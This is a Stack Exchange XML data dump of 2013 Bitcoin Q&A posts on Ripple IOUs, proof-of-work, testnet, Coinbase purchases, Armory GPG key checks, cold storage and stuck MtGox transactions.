  <row Id="14454" PostTypeId="1" CreationDate="2013-11-08T10:14:05.430" Score="3" ViewCount="174" Body="&lt;p&gt;In Ripple, anyone can issue IOUs, which later can be passed on to other parties in the network through a web of trust. How can one find every account holding IOUs from a given issuer? Would it need to be done through crawling the trust network, or is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-08T17:27:37.307" Title="How can one find everyone holding IOUs from a given issuer in Ripple?" Tags="|ripple|iou|live-data|traceability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="2" ParentId="14439" CreationDate="2013-11-08T11:03:53.970" Score="1" Body="&lt;p&gt;150% Annual profit? I'd be very suspicious. If it's too good to be true, it's not true. They only offer algotrading on a new asset class, bitcoin in this case. It doesn't matter what is the base asset, this kind of annual profit is unreasonable.&lt;/p&gt;&#xA;" OwnerUserId="1902" LastActivityDate="2013-11-08T11:03:53.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14456" PostTypeId="2" ParentId="14447" CreationDate="2013-11-08T11:28:10.493" Score="0" Body="&lt;p&gt;bitpay.com is one, but there are many many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get paid in BTC or daily in your own currency. And the integration into your existing payment system should be very easy.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-08T11:28:10.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="2" ParentId="14450" CreationDate="2013-11-08T13:18:38.673" Score="1" Body="&lt;p&gt;Speculation is an entire category of its own, in spirit of giving you some useful information I shall direct you to the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speculation board: &lt;a href=&quot;https://bitcointalk.org/index.php?board=57.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=57.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reddit Bitcoin Markets; &lt;a href=&quot;http://www.reddit.com/r/BitcoinMarkets&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/BitcoinMarkets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinMarkets on freenode also for live discussion also.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-08T13:18:38.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14461" PostTypeId="1" CreationDate="2013-11-08T13:57:17.973" Score="6" ViewCount="1471" Body="&lt;p&gt;Of course, the function of mining is to secure the blockchain, but I'm looking for a more abstract summary of what the exact problem is that mining tries to solve? I believe its called the &lt;a href=&quot;http://pages.cs.wisc.edu/~sschang/OS-Qual/reliability/byzantine.htm&quot; rel=&quot;nofollow&quot;&gt;Byzantine Generals problem&lt;/a&gt;, but can it be described in a couple of sentences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network needs to select one random stranger out of a large group at a fixed schedule, and uses a 'hashing-lottery' as a reasonably fair method to do so. Is that a good definition of the reason why POW is needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: Suppose I developed an alternative method to select a random p2p node every few minutes, who gets to publish the next block, could that replace cpu-based proof of work?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2016-04-25T15:32:18.737" LastActivityDate="2021-04-16T16:43:28.820" Title="What is the problem that mining solves?" Tags="|protocol|mining-theory|proof-of-work|consensus|architecture|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14462" PostTypeId="1" CreationDate="2013-11-08T14:20:30.210" Score="1" ViewCount="610" Body="&lt;p&gt;Now I'm developing a bitcoin distribution mechanism (according to users' submitted shares count). The complete workflow is: Users submitted shares to my pool, then my pool submitted these shares to another famous pool (e.g. btcguild). When my pool received bitcoins from the remote pool, it will distribute these received coins to users (according to their submitted shares count)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that everytime I test this mechanism, I will create many transactions, but each transaction will take 0.005 btc as transaction fee for bitcoin network. Then after paying 200  users, I will pay 1 btc to bitcoin network, The cost is high. Is there any way to simulate the bitcoin network, so I can create transaction without paying transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="6124" LastActivityDate="2013-12-08T23:29:45.927" Title="How to test bitcoin distribution mechanism" Tags="|transactions|transaction-fees|payment|testing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14463" PostTypeId="2" ParentId="14461" CreationDate="2013-11-08T14:44:04.747" Score="7" Body="&lt;p&gt;In my opinion, it is one of the greatest misconceptions about Bitcoin that miners solve a &quot;hard problem&quot;. Many news sources explain it like that, but in fact it's not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All a miner does is guessing until he got something right. A miners takes his block of transactions (including the coinbase transaction that sends the fees and block reward to himself) and calculates the hash of it. Hash calculation is a very common procedure and is not at all &quot;hard&quot;. The hash he gets needs to match a certain condition. This condition gets harder as more miners try it (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot;&gt;Difficulty&lt;/a&gt;). When the miner got a hash that fits the condition, he can publish it to all other Bitcoin clients and the block is added to the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that miners with more computer power have a larger chance of winning the block is because they can simply guess faster. They can calculate more hashes per second to test against the condition, (Mining power is expressed in Hashes/second.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The need for proof-of-work is there because the Bitcoin protocol wants that a block is found only once every 10 minutes approximately. So, as more miners enter the game, it has to become harder to do. The POW makes sure that finding a block is not easy and takes the some time. That's also the reason that the difficulty raises as more people mine. Every 2 weeks, the algorithms adjusts the difficulty so that again one block is found every 10 minutes at the average hashpower of the previous two weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your second question: If you could find an alternative method for achieving exactly the same thing as currently is done in Bitcoin mining, it could replace it. But Bitcoin is programmed as it is and won't probably ever change this method. But there are alt-coins that use different methods for distributing the coins and securing the block chain.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-11-08T14:44:04.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14464" PostTypeId="2" ParentId="14454" CreationDate="2013-11-08T17:27:37.307" Score="2" Body="&lt;p&gt;To find all the accounts that hold an asset, e.g. &lt;code&gt;USD/gw1&lt;/code&gt;, you just need to use the &lt;a href=&quot;https://ripple.com/wiki/RPC_API#account_lines&quot; rel=&quot;nofollow&quot;&gt;account_lines&lt;/a&gt; API on the &lt;code&gt;gw1&lt;/code&gt; account and filter out the USD entries (or whatever currency code you are interested in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you could recursively look up the account lines of each found account in turn, that doesn't tell you anything more about who &quot;holds the IOUs from a given issuer&quot; which was your question. It instead tells you how much each found account would currently be able to redeem via the issuer. For example, if account_lines on gw1 says UserA has &lt;code&gt;100 USD/gw1&lt;/code&gt; and account_lines for UserA says they also have &lt;code&gt;-50 USD/UserB&lt;/code&gt;, then UserB could redeem 50 USD via gw1 (not accounting for any quality or transfer rates that may be set).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-11-08T17:27:37.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14466" PostTypeId="2" ParentId="12013" CreationDate="2013-11-08T18:42:09.207" Score="2" Body="&lt;p&gt;A good and simple website to calculate how much bitcoin can be created with what machine can be found at: &lt;a href=&quot;http://www.alcula.com/calculators/finance/bitcoin-mining/&quot; rel=&quot;nofollow&quot;&gt;http://www.alcula.com/calculators/finance/bitcoin-mining/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4138" LastActivityDate="2013-11-08T18:42:09.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="1" CreationDate="2013-11-08T19:18:01.113" Score="2" ViewCount="403" Body="&lt;p&gt;I just purchased 0.1 BTC from coinbase with a bank transfer. Coinbase informed me that the transaction would take 4 business days to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't have any bitcoins yet, but Coinbase promises to deliver 0.1 BTC to me in 4 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase probably didn't purchase the bitcoin now because my payment hasn't cleared, but if they make the purchase in 4 business days from now and the price has gone up from $330 to $500, how will Coinbase cover the difference when the coins need to be purchased?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does Coinbase just regularly purchase bitcoin and then just transfer some into my account when my funds clear? Or do they not actually give me the bitcoin until I decide to sell it?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="208" LastEditDate="2013-11-08T21:38:51.033" LastActivityDate="2013-11-18T22:56:57.763" Title="Are coinbase.com purchases effectively bitcoin futures?" Tags="|buy-bitcoins|websites|coinbase.com|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="1" CreationDate="2013-11-08T19:28:18.820" Score="0" ViewCount="2403" Body="&lt;p&gt;I wonder these exchanges, e.g. mtgox , bitstamp, bitcoinChina...etc, are they using API to connect to each others? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or they just closed exchange, the price sync are from the free market?&lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2013-12-10T00:12:49.603" Title="Are bitcoin exchanges all connected to each others? or just close platform" Tags="|api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14470" PostTypeId="2" ParentId="14467" CreationDate="2013-11-08T20:21:22.907" Score="2" Body="&lt;p&gt;One they credit your account you can transfer your bitcoin out to another wallet, you do not have to sell it through them, but you could at a later time if you wanted to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Coinbase is also known to just cancel an order if the price sharply rises between you placing it and them delivering the bitcoin, your US dollars are then returned to your bank.&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2013-11-08T20:21:22.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="1" AcceptedAnswerId="16491" CreationDate="2013-11-08T20:43:29.997" Score="-1" ViewCount="94" Body="&lt;p&gt;Does anyone have examples of bitcoins being used to buy bonds to build a digital community?&lt;/p&gt;&#xA;" OwnerUserId="7616" LastActivityDate="2013-11-09T18:25:01.717" Title="Any examples of Bitcoins being used to buy bonds to build a Digital Community" Tags="|ripple|qrcode|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-10T20:06:05.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="14472" PostTypeId="1" CreationDate="2013-11-08T21:19:26.387" Score="1" ViewCount="359" Body="&lt;p&gt;I'm a newbee with bitcoins, but there is something I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded MultiBit, but with this I was not able to see anything on my iPhone. So I also openend a wallet on Blockchain. I transferred the money from MultiBit to Blockchain and this al went well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly I removed my wallet in MultiBit and now my Blockchain wallet is also empty... How is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my last transfer... &lt;a href=&quot;https://blockchain.info/nl/tx/b9a85a99f168f9e8fcd5b1385868cdbfc8bcb4f4205e65499bd13a27fc024d95&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/nl/tx/b9a85a99f168f9e8fcd5b1385868cdbfc8bcb4f4205e65499bd13a27fc024d95&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7618" LastActivityDate="2013-11-09T03:57:02.390" Title="Where are my bitcoins after wallet removal" Tags="|blockchain|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="1" AcceptedAnswerId="14476" CreationDate="2013-11-08T22:04:37.403" Score="2" ViewCount="195" Body="&lt;p&gt;The section &quot;Verifying Downloaded Files' at &lt;a href=&quot;http://bitcoinarmory.com/download/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinarmory.com/download/&lt;/a&gt; says that I should see the following output after running GPG:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --recv-keys --keyserver keyserver.ubuntu.com 98832223&#xA;gpg: requesting key 98832223 from hkp server keyserver.ubuntu.com&#xA;gpg: key 98832223: public key &quot;Alan C. Reiner (Armory Signing Key) &amp;lt;alan.reiner@gmail.com&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I ran it, I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: key 98832223: public key &quot;Alan C. Reiner (Offline Signing Key) &amp;lt;alan@bitcoinarmory.com&amp;gt;&quot; imported &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead. A link I found on btcarmory.org (&lt;a href=&quot;http://pgp.mit.edu:11371/pks/lookup?search=Armory+Signing&quot; rel=&quot;nofollow&quot;&gt;http://pgp.mit.edu:11371/pks/lookup?search=Armory+Signing&lt;/a&gt;) has a result that implies that these two outputs are acceptable, but can someone please confirm that this is true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the difference in the GPG output a concern? I only ask because of how intensely it is suggested to do this stuff! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7619" LastActivityDate="2013-11-09T03:50:16.990" Title="Bitcoin Armory Difference in GPG Output" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14475" PostTypeId="2" ParentId="14462" CreationDate="2013-11-09T03:06:38.413" Score="2" Body="&lt;p&gt;As Nate Eldredge suggest, you could use the Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet&lt;/a&gt;. This is a separate Bitcoin fork that exists especially for testing purposes.&#xA;You can easily get some testnet coins from testnet faucets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, do you know that it is possible to create a transaction with multiple inputs and multiple outputs? So instead of creating many transactions, you could combine them into one transaction and only pay the fee once.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-11-09T03:06:38.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14476" PostTypeId="2" ParentId="14473" CreationDate="2013-11-09T03:50:16.990" Score="2" Body="&lt;p&gt;The output is fine. The key fingerprint is the same. Alan merely has several uid records in this key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --list-key 98832223&#xA;pub   4096R/98832223 2012-02-28&#xA;uid                  Alan C. Reiner (Offline Signing Key) &amp;lt;alan@bitcoinarmory.com&amp;gt;&#xA;uid                  Alan C. Reiner (Armory Signing Key) &amp;lt;etotheipi@gmail.com&amp;gt;&#xA;uid                  Alan C. Reiner (Armory Signing Key) &amp;lt;alan.reiner@gmail.com&amp;gt;&#xA;sub   4096R/DE6B2D74 2012-02-28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GnuPG simply chose to show you one of the other, completely valid uids for this key. &lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-09T03:50:16.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14478" PostTypeId="2" ParentId="14472" CreationDate="2013-11-09T03:57:02.390" Score="1" Body="&lt;p&gt;These two events&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;removing your wallet from Multibit&lt;/li&gt;&#xA;&lt;li&gt;observing zero balance in your Blockchain.info wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;are extremely unlikely to be related. You can see that the transaction went through and has several dozen confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Blockchain.info wallet is appearing empty, you may want to contact Blockchain.info for resolution.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-09T03:57:02.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14479" PostTypeId="1" CreationDate="2013-11-09T04:55:45.620" Score="2" ViewCount="1319" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;How to set up a secure offline savings wallet&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Every time you retrieve bitcoins from your savings wallet, create a fresh savings wallet by repeating the above procedure, and send all your remaining savings balance there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why do you need to create a fresh wallet after retrieving a few bitcoins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the receiving address no longer valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you create a secure offline wallet, send bitcoins to it, and then test it to make sure that it works by sending a small amount out?&lt;/p&gt;&#xA;" OwnerUserId="7627" LastActivityDate="2013-11-09T18:12:13.683" Title="Why does using a wallet in cold storage make it less secure?" Tags="|wallet|security|bitcoin-core|coldstorage|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14480" PostTypeId="2" ParentId="14479" CreationDate="2013-11-09T05:20:47.797" Score="4" Body="&lt;p&gt;I believe the basis of this recommendation is clients' tendency to create invisible &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;change addresses&lt;/a&gt;. A transaction sending the &lt;em&gt;entire balance&lt;/em&gt; to a known address &lt;strong&gt;eliminates the possibility that a part of the balance could be lost when a private key for a change address is not retained&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-11-09T05:20:47.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14481" PostTypeId="1" AcceptedAnswerId="16535" CreationDate="2013-11-09T08:18:22.923" Score="0" ViewCount="652" Body="&lt;p&gt;Yesterday I moved 20 bitcoins from my wallet in MtGox to my personal wallet, twice. The two transactions were made in a short time (about 1 minute). Both were done toward the same recipient: 142fUrgXNJiKwhXWiN9gkR8zvTbucm2idA&#xA;The ID of the first transaction was: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;63eddec307c6ab9bf285b6b33f506fe90069e5d297263ed55249580a8120fff7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of the second was: 67d1c656a65dc4c29f20292f4abecdb45d5a492091a167a0643fd50723f61dbf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both transactions were registered from my MtGox account lowering it of said amount (thus taking away the possibility to try again). &#xA;Well, the first appeared immediately in my wallet, And after a few minutes gathered the confirmations necessary, and is now happily sitting there. The second never appeared. It did however appear on Blockchain:&#xA;&lt;a href=&quot;https://blockchain.info/tx/67d1c656a65dc4c29f20292f4abecdb45d5a492091a167a0643fd50723f61dbf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/67d1c656a65dc4c29f20292f4abecdb45d5a492091a167a0643fd50723f61dbf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where it is sitting in a queue from yesterday evening with a confirmation warning saying: &lt;strong&gt;&quot;This transaction has a none standard input&quot;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to understand what is going on. What shall I do to recover those bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Pietro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Note that making a search on the warning on google shows only one result: the code in github. So no one must have had this problem before. Weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pbmri.png&quot; alt=&quot;Image of block chain with the warning visible&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7630" LastActivityDate="2014-02-08T23:21:29.487" Title="A transaction that does not get processed" Tags="|transactions|mtgox|blockchain.info|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="1" CreationDate="2013-11-09T10:49:50.153" Score="3" ViewCount="216" Body="&lt;p&gt;What is the background of the whole Bitcoin ecosystem in China? Their market has been growing insanely in the last days... but I guess it can be very specific (different mentality of people, the Yuan, infrastructure etc.). How is their market different from the European/North American ones?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2015-06-23T10:30:56.800" LastActivityDate="2015-06-23T10:30:56.800" Title="How does the Chinese Bitcoin ecosystem differ from the European/North American ones?" Tags="|economic-theory|bitcoin-economy|market|china|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14484" PostTypeId="1" CreationDate="2013-11-09T13:14:24.303" Score="1" ViewCount="244" Body="&lt;p&gt;I have sent a (&gt;10000 byte) transaction to mtgox, blockinfo reports that the network fee is lower than recommended, so it will take quite a long while to get confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking I can send another transaction with more attractive fees - but that represents two difficulties:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I don't know why the client didn't calculate the correct fee&lt;/li&gt;&#xA;&lt;li&gt;mtgox uses a single address per transaction, and so I won't get a new one until the current one completes.  If I send another transaction to the current address, when the slow one finally gets there, it will go to the wrong address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am not sure what is the best way forward.  I am using bitcoind v80500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get a transaction into mtgox without breaking the one I have currently waiting for confirmation, and if so, how can I get the fees to be right?&lt;/p&gt;&#xA;" OwnerUserId="1546" LastEditorUserId="1546" LastEditDate="2013-11-09T21:15:34.580" LastActivityDate="2014-03-10T00:02:39.153" Title="Wrong fee on transaction" Tags="|mtgox|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14485" PostTypeId="1" CreationDate="2013-11-09T14:50:54.837" Score="1" ViewCount="192" Body="&lt;p&gt;Most of the bitcoin community is aware that the U.S. Government &quot;seized&quot; 2 million USD worth of bitcoins at the times current exchange rates. How would the U.S. go about using these. Generally with seized property they set up auctions, but how would that occur. &lt;/p&gt;&#xA;" OwnerUserId="7635" LastActivityDate="2013-11-09T16:47:30.780" Title="Goverment Hacking Bitcoin" Tags="|bitcoind|sell-bitcoins|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-12T09:23:07.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="14486" PostTypeId="2" ParentId="14479" CreationDate="2013-11-09T16:02:38.240" Score="2" Body="&lt;p&gt;The point of an offline wallet is that your private key has never been stored on any internet-connected computer, where it might be  vulnerable to an attacker. In order to spend coins from an address, you have to copy the private key back onto a connected computer, to generate and send the transaction. The address will still work just fine for sending and receiving coins, but it's no longer &quot;offline&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-09T16:02:38.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14487" PostTypeId="1" CreationDate="2013-11-09T16:45:33.510" Score="0" ViewCount="5387" Body="&lt;p&gt;While mining with a pool,&#xA;I recently noticed among the numerous &quot;Stratum from pool 0 requested&quot; lines that&#xA;bfgminer prints,   one saying &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Accepted (hex number) CPU 2 Diff 288/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this mean that I found a valid block? Or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at my BTC Guild account, I see no evidence of any blocks found by my computer.&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="5406" LastEditDate="2016-04-24T08:53:19.317" LastActivityDate="2016-04-24T08:53:19.317" Title="In bfgminer, what does Accepted mean?" Tags="|mining-pools|terminology|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14488" PostTypeId="1" AcceptedAnswerId="15493" CreationDate="2013-11-09T16:47:18.187" Score="1" ViewCount="195" Body="&lt;p&gt;I'm curious as to how the MtGox exchange works. I'm looking for some comprehensive information. Below are specific questions, phrased in the terminology common for stock exchanges.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is MtGox based on a limit order book? Is it an open order book?&lt;/li&gt;&#xA;&lt;li&gt;Can I get order-by-order full feeds?&lt;/li&gt;&#xA;&lt;li&gt;What type of orders can be sent? Only market and limit orders?&lt;/li&gt;&#xA;&lt;li&gt;Does the matching engine proceed on a price-time priority basis?&lt;/li&gt;&#xA;&lt;li&gt;Are there official or nominated market makers?&lt;/li&gt;&#xA;&lt;li&gt;Does MtGox offer colocation services?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2013-11-09T17:39:30.890" Title="Internals of MtGox" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14489" PostTypeId="2" ParentId="14485" CreationDate="2013-11-09T16:47:30.780" Score="0" Body="&lt;p&gt;Seized items that are not of obvious benefit to the thief eventually get sold at public auction. If they fall into a process that doesn't understand the technology or there are auctioneer agreements then it will be a traditional auction. Value is not likely to be understated or undersold as this will be a very marketable item to advertise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stolen goods are also used to attempt interdiction. The government would use the coins in sting operations and in attempts to undermine confidence. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T16:47:30.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14490" PostTypeId="2" ParentId="14483" CreationDate="2013-11-09T16:57:19.523" Score="4" Body="&lt;p&gt;The Chinese are intense savers and frugal. Their interest in Bitcoin will involve relatively small price corrections.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Do you want to say the will be resistent to price drops (in the bubbles for example)? &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Bubbles will still happen, but the correction would be less severe because Chinese investors tend to buy-and-hold through the ups and downs. They save a little at a time and don't spend anything until the need to (and the price is high). Being frugal would mean that they'd buy bitcoins when the price goes down rather than panic sell on a momentum trade. Last evening was an excellent example. The bitcoin price should have had a major correction last night, but it was only a minor dip. China investment is increasingly moving the prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chinese people have modest incomes but they save everything. They are limited by law to only having two homes, so you sometimes find children owning homes. They are modest homes, but often the land they sit on (like in Beijing) can be worth millions for new building construction. They invest in family, businesses, real estate, metals, and increasingly bitcoin. China is like America used to be when people were more interested in producing and achieving than consuming and taking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lawyers and regulations rule the US. There is no liberty because someone might get hurt. China has little of that. People are free there in many ways that the US is no longer. People are happy and enjoy life there. The bad side of China is well hidden, and is diminished through increasing prosperity. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastEditorUserId="7636" LastEditDate="2013-11-09T21:33:58.123" LastActivityDate="2013-11-09T21:33:58.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15490" PostTypeId="1" CreationDate="2013-11-09T17:21:07.103" Score="4" ViewCount="1433" Body="&lt;p&gt;Let's think of a hypothetical scenario if Bitcoin becomes the world's major (most used + highest market cap) currency one day. How will it change the world? The obvious point is cheaper money transfers, but what about its impact on the global economy? Is a &quot;deflationary&quot; currency better for the world? Is quantitative easing really that bad?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2015-11-07T15:16:44.000" LastActivityDate="2015-11-07T15:16:44.000" Title="How can Bitcoin change the world?" Tags="|economic-theory|bitcoin-economy|market|adoption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15491" PostTypeId="2" ParentId="14484" CreationDate="2013-11-09T17:22:19.180" Score="1" Body="&lt;p&gt;There is no correct fee for sending BTC to mtgox, and you can send to the same address. MtGox doesn't get the fee. MtGox only requires a number of confirmations. If you added a fee at all then there should be no extraordinary delay. A fee-related delay is for the first confirmation. The age of your source account(s) can make more difference than a fee. Just relax. The first time is painful to wait for. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;I've updated...&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know how you can send a &quot;&gt;10000 byte&quot; transaction to mtgox unless you are talking about the bytes of a raw transaction rather than a bitcoin amount. In that case, you should be able to figure this out. Send the same amount again from same addresses but with a higher fee. It is a double-spend and the network may take the second first while leaving the first to be discovered invalid.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastEditorUserId="7636" LastEditDate="2013-11-09T21:53:28.827" LastActivityDate="2013-11-09T21:53:28.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
